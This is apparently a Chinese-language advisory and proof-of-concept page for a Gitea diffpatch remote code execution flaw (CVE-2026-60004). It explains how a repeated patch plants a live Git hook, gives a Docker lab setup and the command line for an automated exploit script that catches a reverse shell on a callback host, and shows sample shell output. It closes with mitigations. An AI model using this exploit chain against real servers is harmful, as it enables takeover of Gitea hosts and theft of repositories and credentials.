返回更新列表
已更新Aug 7, 2026

CVE-2026-60004 — 已更新!

Gitea diffpatch RCE

分享

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


概述

CVE-2026-60004Gitea 中的一个远程代码执行(RCE)漏洞。 diffpatch API 使用 git apply --cached 应用提供的补丁,该操作本应只修改索引,绝不会将文件写入磁盘。 通过两次发送相同的补丁,攻击者强制触发添加/添加冲突,从而引发 Git 的三方合并回退(-3。该路径会忽略 --cached 并将文件检出到工作树。 由于临时克隆是裸仓库,其工作树根目录为 $GIT_DIR。因此,一个创建可执行 hooks/post-index-change 的补丁会落地一个实时 Git 钩子,Git 会在下一次索引更新时自动运行该钩子——以 Gitea 服务账户身份执行命令。 该端点需要仓库写入权限,但注册功能默认开启,因此任何能够注册并创建仓库的用户都可以触达该端点。


受影响版本

类别版本
受影响Gitea 1.17 ≤ 版本 ≤ 1.27.0
已修复Gitea 1.27.1 或更高版本

影响

  • 以 Gitea 服务账户(git)身份执行远程代码
  • 可访问所有托管的仓库、CI 密钥和数据库凭据

环境

构建并运行存在漏洞的 Gitea 环境。注册保持开放,服务器自带 Git 2.32+,该版本启用了攻击所依赖的 -3 回退机制。

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
前置条件本实验环境中的状态
Gitea 1.17 – 1.27.01.27.0
服务器上的 Git 2.32+(启用 -32.54
开放注册已启用(默认)
仓库写入权限通过自行注册的账户获得

PoC

该漏洞利用由 gitea_exploit.py 全自动完成。只需一个能够创建仓库的账户,它便会创建目标仓库、反复提交相同的补丁,直到 Git 的 -3 回退触发,并通过内置监听器捕获反弹 Shell——无需手动设置、补丁构造或 blob 哈希计算。

# python3 gitea_exploit.py <目标 ip:端口> <回调 ip> [回调端口]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 回退仅在特定的时间窗口内触发,因此脚本会循环执行 创建 → 发送 → 发送,直到捕获成功(默认 25 次尝试)。当某次发送被阻塞时,说明钩子已触发,监听器会将你带入一个以 git 身份运行的 Shell:

[*] 尝试  3/25 -> 发送#1 201, 发送#2 超时   <- 已阻塞(已触发!)
[+] 来自 172.17.0.2:53344 的 Shell -- 输入命令,按 Ctrl-C 退出
uid=1000(git) gid=1000(git) groups=1000(git)

选项:

  • --no-listen — 使用你自己的外部 nc 捕获 Shell,而非内置监听器
  • --user / --pw / --repo / --branch — 覆盖默认账户和目标仓库

缓解措施

  • 将 Gitea 升级至 1.27.1 或更高版本
  • 如非必要,禁用开放注册(DISABLE_REGISTRATION=true
  • 限制能够访问实例并创建仓库的用户范围

分析

  • KR:即将推出!
  • EN:

分类